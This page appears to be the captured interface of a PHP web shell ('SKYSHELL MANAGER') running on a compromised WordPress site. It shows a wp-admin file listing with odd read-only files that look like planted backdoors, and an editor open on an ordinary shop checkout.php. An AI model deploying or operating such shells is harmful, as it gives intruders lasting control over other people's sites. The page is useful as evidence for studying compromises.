📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: checkout.php
<?php session_start(); // Initialize the cart if not already done if (!isset($_SESSION['cart'])) { $_SESSION['cart'] = []; } // Handle "Add to Cart" action if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Handle "Remove from Cart" action if (isset($_POST['remove_from_cart'])) { $product_id = htmlspecialchars($_POST['product_id']); if (isset($_SESSION['cart'][$product_id])) { unset($_SESSION['cart'][$product_id]); } header("Location: " . $_SERVER['REQUEST_URI']); exit; } } // Calculate subtotal, shipping, and taxes $subtotal = 0; $shipping = 0.00; // Fixed shipping fee (you can make this dynamic if needed) $taxes = 0.00; // Taxes can be dynamically calculated if you have rates foreach ($_SESSION['cart'] as $item) { $subtotal += $item['price'] * $item['quantity']; } // Total = subtotal + shipping + taxes $total = $subtotal + $shipping + $taxes; // Calculate the total number of items in the cart $cart_count = 0; if (!empty($_SESSION['cart'])) { foreach ($_SESSION['cart'] as $item) { $cart_count += $item['quantity']; } } // Database connection require 'db_connection.php'; $conn->close(); ?> <!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <!-- Document Meta ============================================= --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <!--IE Compatibility Meta--> <meta name="author" content="zytheme" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta name="description" content="ToyTown - Responsive HTML5 Template"> <link rel="icon" href="assets/images/fav1.png" sizes="32x32" type="image/png"> <link rel="stylesheet" href="ajax/libs/material-design-icons/3.0.1/iconfont/material-icons.min.css"> <link rel="stylesheet" href="css/tether.min.css"> <script src="javascript/tether.min.js"></script> <!-- Stylesheets ============================================= --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/owl.carousel.min.css" rel="stylesheet"> <link href="assets/css/theme.css" rel="stylesheet"> <link href="assets/css/font-awesome.min.css" rel="stylesheet"> <!-- JavaScripts ============================================= --> <script src="assets/js/jquery.js" type="text/javascript"></script> <script src="assets/js/bootstrap.js" type="text/javascript"></script> <script src="assets/js/owl.carousel.js" type="text/javascript"></script> <script src="assets/js/animate.js" type="text/javascript"></script> <script src="assets/js/totalstorage.js" type="text/javascript"></script> <script src="assets/js/counter.js" type="text/javascript"></script> <script src="assets/js/parallax.js" type="text/javascript"></script> <script src="assets/js/bxslider.js" type="text/javascript"></script> <script src="assets/js/ishi.initialize.js" type="text/javascript"></script> <script src="assets/js/support.js" type="text/javascript"></script> <!-- Document Title ============================================= --> <title>Kids Care Products</title> </head> <body id="product"> <main> <div id="menu_wrapper" class=""></div> <!-- --------------------loader------------ <div id="spin-wrapper"></div> <div id="siteloader"> <div class="loader"></div> </div> <!-- --------------------header------------ --> <header id="header" class="other"> <div class="header-top"> <div class="container"> <div class="row"> <!-- --------------------desktop_logo------------ --> <div id="desktop_logo" class="col-lg-3 col-md-5 col-sm-12 col-xs-12"> <a href="index.php"> <img class="logo img-responsive" src="assets/images/logo1.png" alt="Demo Shop"> </a> </div> <div class="header-top-right offset-xl-2 col-xl-7 col-lg-9 col-md-7 col-sm-12 col-xs-12"> <!-- --------------------services------------ --> <div id="ishiservices" class="ishiservicesblock"> <div class="ishiservices owl-carousel"> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/1.png);"> </div> <div class="service-block"> <div class="service-title">Free Delivery</div> <div class="service-desc">Free delivery is avaible to standard customers</div> </div> </a> </div> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/2.png);"> </div> <div class="service-block"> <div class="service-title">Free Gift Voucher</div> <div class="service-desc">We send gift vouchers to standard customers</div> </div> </a> </div> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/3.png);"> </div> <div class="service-block"> <div class="service-title">Money Back Guarantee</div> <div class="service-desc">You can request an money Guarantee refund</div> </div> </a> </div> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/4.png);"> </div> <div class="service-block"> <div class="service-title">24X7 Support Assistance</div> <div class="service-desc">We provide 24X7 Support to customers</div> </div> </a> </div> </div> </div> </div> </div> </div> </div> <div class="nav-full-width"> <div class="container"> <div class="row"> <!-- ------------------mega menu----------- --> <div id="_desktop_top_menu" class="menu js-top-menu hidden-sm-down"> <ul class="top-menu" id="top-menu" data-depth="0"> <li class="cms-page" id="category-12"> <a class="dropdown-item" href="index.php" data-depth="0"> Home </a> </li> <li class="cms-page" id="cms-page-4"> <a class="dropdown-item" href="new_arrivals.php" data-depth="0"> New Arrivals </a> </li> <li class="cms-page" id="cms-page-4"> <a class="dropdown-item" href="hot_selling.php" data-depth="0"> Hot Selling </a> </li> <li class="category" id="category-3"> <a class="dropdown-item" href="shop.php" data-depth="0">Shop</a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_37079" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="popover sub-menu collapse" id="top_sub_menu_37079"> <ul class="top-menu" data-depth="1"> <li class="category" id="category-4"> <a class="dropdown-item dropdown-submenu" href="boy_collections.php" data-depth="1"> Boys Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_40183" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_40183"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-5"> <a class="dropdown-item" href="boy_sets.php" data-depth="2"> Boy Sets </a> </li> <li class="category" id="category-6"> <a class="dropdown-item" href="boys_tshirts.php" data-depth="2"> Boy T-Shirts </a> </li> <li class="category" id="category-7"> <a class="dropdown-item" href="boys_shirts.php" data-depth="2"> Boy Shirts </a> </li> <li class="category" id="category-7"> <a class="dropdown-item" href="boys_pack.php" data-depth="2"> Boy Pack Of 2 & 3 </a> </li> <li class="category" id="category-7"> <a class="dropdown-item" href="boys_winter_wear.php" data-depth="2"> Boy Winter Wear </a> </li> </ul> </div> </li> <li class="category" id="category-8"> <a class="dropdown-item dropdown-submenu" href="girl_collections.php" data-depth="1"> Girls Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_71335" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_71335"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-9"> <a class="dropdown-item" href="girl_ethnic_wear.php" data-depth="2"> Girl Ethnic Wear </a> </li> <li class="category" id="category-10"> <a class="dropdown-item" href="girl_sets.php" data-depth="2"> Girl Sets </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_dresses.php" data-depth="2"> Girl Dresses </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_jumpsuit.php" data-depth="2"> Girl Jumpsuit </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_winter_wear.php" data-depth="2"> Girl Winter Wear </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_others.php" data-depth="2"> Others </a> </li> </ul> </div> </li> <li class="category" id="category-14"> <a class="dropdown-item dropdown-submenu" href="new_arrivals.php" data-depth="1"> New </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_17740" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_17740"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-15"> <a class="dropdown-item" href="new_arrivals.php" data-depth="2"> New Arrivals </a> </li> </ul> </div> </li> </ul> <img class="category-image" src="assets/images/category-dropdown.jpg" alt="category-image" title="Girl"> </div> </li> <li class="category" id="category-13"> <a class="dropdown-item" href="boy_collections.php" data-depth="#0">Boys</a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_43175" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="popover sub-menu collapse" id="top_sub_menu_43175"> <ul class="top-menu" data-depth="1"> <li class="category" id="category-131"> <a class="dropdown-item dropdown-submenu" href="boy_collections.php" data-depth="1"> Boys Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_127" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_127"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-130"> <a class="dropdown-item" href="boy_sets.php" data-depth="2"> Boys Sets </a> </li> <li class="category" id="category-128"> <a class="dropdown-item" href="boys_tshirts.php" data-depth="2"> Boys T-Shirts </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="boys_shirts.php" data-depth="2"> Boys Shirts </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="boys_pack.php" data-depth="2"> Boys Pack Of 2 & 3 </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="boys_winter_wear.php" data-depth="2"> Boys Winter Wear </a> </li> </ul> </div> </li> </ul> </div> </li> <li class="category" id="category-13"> <a class="dropdown-item" href="girl_collections.php" data-depth="0">Girls</a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_431" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="popover sub-menu collapse" id="top_sub_menu_431"> <ul class="top-menu" data-depth="1"> <li class="category" id="category-131"> <a class="dropdown-item dropdown-submenu" href="girl_collections.php" data-depth="1"> Girls Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_1277" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_1277"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-130"> <a class="dropdown-item" href="girl_ethnic_wear.php" data-depth="2"> Girls Ethnic Wear </a> </li> <li class="category" id="category-130"> <a class="dropdown-item" href="girl_sets.php" data-depth="2"> Girls Sets </a> </li> <li class="category" id="category-128"> <a class="dropdown-item" href="girl_dresses.php" data-depth="2"> Girls Dresses </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="girl_jumpsuit.php" data-depth="2"> Girls Jumpsuit </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="girl_winter_wear.php" data-depth="2"> Girls Winter Wear </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="girl_others.php" data-depth="2"> Others </a> </li> </ul> </div> </li> </ul> </div> </li> </ul> <div class="clearfix"></div> </div> <!-- -------------------shopping cart----------- --> <div id="_desktop_cart"> <div class="blockcart cart-preview inactive"> <div class="header"> <span class="cart-link"> <span class="cart-img"> <svg xmlns="http://www.w3.org/2000/svg" style="display: none;"> <symbol id="shopping-cart" viewBox="0 0 850 850"><title>shopping-cart</title> <path d="M194.59,382.711c-35.646,0-64.646,29-64.646,64.646s29,64.646,64.646,64.646c35.646,0,64.646-29,64.646-64.646 S230.235,382.711,194.59,382.711z M194.59,473.215c-14.261,0-25.858-11.597-25.858-25.858c0-14.261,11.597-25.858,25.858-25.858 c14.254,0,25.858,11.597,25.858,25.858C220.448,461.617,208.851,473.215,194.59,473.215z"></path> <path d="M385.941,382.711c-35.646,0-64.646,29-64.646,64.646s29,64.646,64.646,64.646c35.646,0,64.646-29,64.646-64.646 S421.587,382.711,385.941,382.711z M385.941,473.215c-14.261,0-25.858-11.597-25.858-25.858 c0-14.261,11.597-25.858,25.858-25.858c14.261,0,25.858,11.597,25.858,25.858C411.799,461.617,400.202,473.215,385.941,473.215z"></path> <path d="M498.088,126.274c-3.685-4.629-9.27-7.324-15.179-7.324H143.326l-17.629-89.095c-1.545-7.803-7.699-13.873-15.528-15.308 L32.594,0.325C22.038-1.621,11.953,5.368,10.02,15.905s5.042,20.641,15.58,22.574l64.607,11.843l56.914,287.667 c1.797,9.083,9.768,15.631,19.025,15.631h271.512c9.031,0,16.86-6.225,18.896-15.037l45.252-195.876 C503.137,136.947,501.767,130.896,498.088,126.274z M422.233,314.833H182.074l-31.075-157.089h307.519L422.233,314.833z"></path> </symbol> </svg> <svg class="icon" viewBox="0 0 40 40"><use xlink:href="#shopping-cart" x="15%" y="18%"></use></svg> </span> <span class="cart-content"> <span class="cart-name"> <span class="cart-products-count"><?php echo $cart_count; ?></span> Cart </span> <span class="cart-products-count hidden-lg-up"><?php echo $cart_count; ?></span> </span> </span> <div class="cart-dropdown"> <div class="product-container"> <?php if (empty($_SESSION['cart'])): ?> <h2>Your cart is empty!</h2> <?php else: ?> <h2>Your Cart:</h2> <?php foreach ($_SESSION['cart'] as $id => $item): ?> <div class="product"> <?php echo "<a class='product-image' href='product.php?id=" . htmlspecialchars($item["product_id"]) . "'>"; echo "<img src='" . htmlspecialchars($item['pdt_img']) . "' alt='Product Image'>"; ?> <div class="product-detail"> <div class="product-name"> <span class="quantity-formated"> <span class="quantity"><?php echo htmlspecialchars($item['quantity']); ?></span> x </span> <a class="cart_block_product_name" href="product.php?id=<?php echo htmlspecialchars($item['product_id']); ?>"> <?php echo htmlspecialchars($item['title']); ?> </a> </div> <div class="price">₹ <?php echo htmlspecialchars($item['price']); ?></div> </div> <div class="remove-product"> <form method="POST" action=""> <input type="hidden" name="product_id" value="<?php echo htmlspecialchars($id); ?>"> <button type="submit" name="remove_from_cart"> <i class="material-icons">delete</i> </button> </form> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> <div class="billing-info"> <div class="billing subtotal-info"> <span class="label">Subtotal</span> <span class="value">₹ <?php echo number_format($subtotal, 2); ?></span> </div> <div class="billing shipping-info"> <span class="label">Shipping</span> <span class="value">₹ <?php echo number_format($shipping, 2); ?></span> </div> <div class="billing tax-info"> <span class="label">Taxes</span> <span class="value">₹ <?php echo number_format($taxes, 2); ?></span> </div> <div class="billing total-info"> <span class="label">Total</span> <span class="value">₹ <?php echo number_format($total, 2); ?></span> </div> </div> <div class="cart-btn col-xs-12"> <a href="checkout.php'" class="btn btn-primary checkout">Checkout</a> </div> </div> </div> </div> </div> <!-- -------------------headercontact----------- --> <!-- ------------------mobile media--------- --> <div id="menu-icon" class="menu-icon hidden-lg-up"> <i class="fa fa-bars" aria-hidden="true"></i> </div> <div id="_mobile_cart"></div> <div id="_mobile_seach_widget"></div> <div class="clearfix"></div> </div> </div> </div> </header> <!-- -------------------mobile media---------- --> <div id="mobile_top_menu_wrapper" class="hidden-lg-up" style="display:none;"> <div id="top_menu_closer"> <i class="material-icons"></i> </div> <div class="js-top-menu mobile" id="_mobile_top_menu"></div> </div> <!-- ------------------breadcrumb--------------> <!-- -----------Checkout page----------- --> <section id="wrapper" class="top-wrapper"> <div class="container"> <section id="content"> <div class="row"> <div class="col-lg-8 col-sm-12"> <div class="accordion" id="accordionExample"> <section class="checkout-step card" id="checkout-personal-information-step"> <div data-toggle="collapse" data-target="#collapseone" aria-expanded="true" aria-controls="collapseone"> <h1 class="step-title h3"> <span class="step-number"></span> Delivery </h1> </div> <div class="content collapse show" id="collapseone" data-parent="#accordionExample"> <form action="#" id="myForm" class="js-customer-form" method="post"> <section> <input type="hidden" name="id_customer" value=""> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required">First name</label> <div class="col-md-6 col-sm-12"> <input class="form-control" name="firstname" type="text" value="" placeholder="Enter First name" required> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required">Last name</label> <div class="col-md-6 col-sm-12"> <input class="form-control" name="lastname" type="text" value="" placeholder="Enter Last name" required> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required">Email</label> <div class="col-md-6 col-sm-12"> <input class="form-control" name="email" type="email" value="" placeholder="Enter Email" required> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label"> Phone Number </label> <div class="col-md-6 col-sm-12"> <div class="input-group"> <input class="form-control" name="phone" type="text" value="" placeholder="Enter Phone Number" required> </div> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required">Address</label> <div class="col-md-6 col-sm-12"> <input class="form-control" name="address" type="text" value="" placeholder="Enter Address" required> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required">Apartment, suite, etc, (optional)</label> <div class="col-md-6 col-sm-12"> <input class="form-control" name="apt" type="text" value="" placeholder="Enter Apartment, suite, etc, (optional)" required> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required"> City </label> <div class="col-md-6 col-sm-12"> <select class="form-control form-control-select" name="id_state" required=""> <option value="" disabled="" selected="">-- select city --</option> <option value="1">Chennai</option> </select> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required"> State </label> <div class="col-md-6 col-sm-12"> <select class="form-control form-control-select" name="id_state" required=""> <option value="" disabled="" selected="">-- select state --</option> <option value="1">Tamil Nadu</option> </select> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required">PIN Code</label> <div class="col-md-6 col-sm-12"> <input class="form-control" name="apt" type="text" value="" placeholder="Enter PIN Code" required> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required"></label> <div class="col-md-6 col-sm-12"> <div id="delivery"> <label class="delivery_message">If you would like to add a comment about your order, please write it in the field below.</label> <textarea rows="2" cols="120" id="delivery_message" class="form-control" name="delivery_message"></textarea> </div> </div> </div> <div class="form-group row"> <label class="col-md-3 col-sm-12 form-control-label required">Payment Method</label> <div class="col-md-6 col-sm-12"> <div class="payment-option clearfix"> <span class="custom-radio float-xs-left"> <input class="ps-shown-by-js" name="payment-option" required="" type="radio"> <span></span> </span> <label> <span>Only Cash On Delivery Available</span> </label> </div> </div> </div> </section> <footer class="form-footer clearfix"> <input type="hidden" name="submitCreate" value="1"> <button class="continue btn btn-primary float-xs-right" name="submit" data-link-action="register-new-customer" type="submit" value="1" >Continue </button> </footer> </form> <div id="responseMessage"></div> <!-- JavaScript for AJAX Submit --> <script> document.getElementById("myForm").addEventListener("submit", function(event) { event.preventDefault(); // Prevent default form submission let formData = new FormData(this); fetch("checkout_process_form.php", { // Use an external PHP file for processing method: "POST", body: formData }) .then(response => response.text()) .then(data => { document.getElementById("responseMessage").innerHTML = data; // Display server response }) .catch(error => console.error("Error:", error)); }); </script> </div> </section> </div> </div> <div class="col-lg-4 col-sm-12"> <section id="js-checkout-summary" class="card js-cart"> <div class="card-block-summary-details"> <div class="cart-summary-products"> <div id="cart-summary-product-list"> <ul class="media-list"> <?php if (empty($_SESSION['cart'])): ?> <h2>Your cart is empty!</h2> <?php else: ?> <h2>Your Cart:</h2> <?php foreach ($_SESSION['cart'] as $id => $item): ?> <li class="media"> <div class="media-left"> <?php echo "<a class='product-image' href='product.php?id=" . htmlspecialchars($item["product_id"]) . "'>"; echo "<img src='" . htmlspecialchars($item['pdt_img']) . "' alt='Product Image'>"; ?> </div> <div class="media-body"> <a class="cart_block_product_name" href="product.php?id=<?php echo htmlspecialchars($item['product_id']); ?>"> <span class="product-name"><?php echo htmlspecialchars($item['title']); ?></span> </a> <span class="product-quantity">Quantity: <?php echo htmlspecialchars($item['quantity']); ?></span> <span class="product-price float-xs-right">₹ <?php echo htmlspecialchars($item['price']); ?></span> </div> <div class="remove-product"> <form method="POST" action=""> <input type="hidden" name="product_id" value="<?php echo htmlspecialchars($id); ?>"> <button type="submit" name="remove_from_cart"> <i class="material-icons">delete</i> </button> </form> </div> </li> <?php endforeach; ?> <?php endif; ?> </ul> </div> </div> <div class="cart-summary-line cart-summary-subtotals" id="cart-subtotal-products"> <span class="label">Subtotal</span> <span class="value">₹ <?php echo number_format($subtotal, 2); ?></span> </div> <div class="cart-summary-line cart-summary-subtotals" id="cart-subtotal-shipping"> <span class="label">Shipping</span> <span class="value">₹ <?php echo number_format($shipping, 2); ?></span> </div> </div> <hr class="separator"> <div class="cart-summary-totals"> <div class="cart-summary-line"> <span class="label sub">Taxes</span> <span class="value sub">₹ <?php echo number_format($taxes, 2); ?></span> </div> <div class="cart-summary-line cart-total"> <span class="label" style="font-size: 20px;font-weight: 600;">Total</span> <span class="value" style="font-size: 20px;font-weight: 600;">₹ <?php echo number_format($total, 2); ?></span> </div> </div> </section> <div id="block-reassurance" class="block-reassurance-cart"> <ul> <li> <div class="block-reassurance-item"> <img src="assets/images/block-reassurance/1.png" alt="Security policy (edit with Customer reassurance module)"> <span class="h6">Security policy (edit with Customer reassurance module)</span> </div> </li> <li> <div class="block-reassurance-item"> <img src="assets/images/block-reassurance/2.png" alt="Delivery policy (edit with Customer reassurance module)"> <span class="h6">Delivery policy (edit with Customer reassurance module)</span> </div> </li> <li> <div class="block-reassurance-item"> <img src="assets/images/block-reassurance/3.png" alt="Return policy (edit with Customer reassurance module)"> <span class="h6">Return policy (edit with Customer reassurance module)</span> </div> </li> </ul> </div> </div> </div> </section> </div> </section> <!-- -----------------footer-------------------- --> <footer id="footer"> <div class="footer-container"> <div class="container"> <div class="row"> <!-- -------------------storeinfo---------- --> <div id="ishistoreinfo" class="col-lg-3 col-md-12 col-sm-12 col-xs-12"> <div id="ishistoreinfo-container" class="ishistoreinfo-inner"> <a href="index.php" class="store-logo"> <img src="assets/images/logo1.png" alt="footer-logo"> </a> <div class="store-description"> <p>At KidsCare Products, we understand that your child's safety, comfort, and happiness come first. That's why we offer a carefully curated range of every item is handpicked to ensure quality, durability, and peace of mind for parents.</p> </div> </div> </div> <div id="_mobile_storeinfo" class="block-contact col-md-12 col-sm-12 col-xs-12 footer-block"></div> <!-- -------------------myaccount---------- --> <div class="col-lg-3 col-md-12 col-sm-12 col-xs-12 links wrapper footer-block"> <h3 class="h3 title_block hidden-md-down">Info</h3> <div class="footer-title clearfix hidden-lg-up collapsed" data-target="#footer_account_list" data-toggle="collapse"> <span class="h3">Info</span> <span class="float-xs-right"> <span class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> </div> <ul id="footer_account_list" class="footer-dropdown collapse"> <li> <a class="cms-page-link" href="contact.php"> Contact Us </a> </li> <li> <a class="cms-page-link" href="privacy.php"> Privacy Policy </a> </li> <li> <a class="cms-page-link" href="terms.php"> Terms & Condition </a> </li> <li> <a class="cms-page-link" href="unsubscribe.php"> Unsubscribe Newsletter </a> </li> </ul> </div> <!-- -------------------linklist---------- --> <div class="col-lg-3 col-md-12 col-sm-12 col-xs-12 links wrapper footer-block"> <h3 class="h3 title_block hidden-md-down">Product</h3> <div class="footer-title clearfix hidden-lg-up collapsed" data-target="#footer_sub_menu_83280" data-toggle="collapse"> <span class="h3 title_block">Product</span> <span class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </div> <ul id="footer_sub_menu_83280" class="footer-dropdown collapse"> <li> <a class="cms-page-link" href="new_arrivals.php"> New Arrivals </a> </li> <li> <a class="cms-page-link" href="hot_selling.php"> Hot Selling </a> </li> <li> <a class="cms-page-link" href="shop.php"> Shop </a> </li> <li> <a class="cms-page-link" href="boy_collections.php"> Boy Collections </a> </li> <li> <a class="cms-page-link" href="girl_collections.php"> Girl Collections </a> </li> </ul> </div> <!-- -------------------contactblock ---------- --> <div id="_desktop_storeinfo" class="block-contact col-lg-3 col-md-12 col-sm-12 col-xs-12 footer-block"> <h3 class="h3 title_block hidden-md-down">Store information</h3> <div id="contact-info-container" class="footer-contact"> <div class="block address col-lg-12 col-md-4 col-sm-4 col-xs-12"> <span class="icon"><i class="material-icons"></i></span> <div class="content">No 23, KEB Colony,<br> Industrial Area, Hoodi,<br> Bengaluru, Karnataka 560048.</div> </div> <div class="block email col-lg-12 col-md-4 col-sm-4 col-xs-12"> <span class="icon"><i class="material-icons"></i></span> <div class="content"> <a href="#">contact@kidscareproducts.com</a> </div> </div> </div> </div> </div> </div> </div> <div class="footer-after"> <div class="container"> <div class="row"> <div class="col-lg-6 col-xs-12"> <!-- -------------------copyrights---------- --> <p class="footer-aftertext"> <a class="_blank" href="#" target="_blank"> Copyright 2025 KidsCare Products. All Rights Reserved. </a> </p> </div> </div> </div> </div> <a id="slidetop" href="#" ></a> </footer> </main> </body> </html>
Save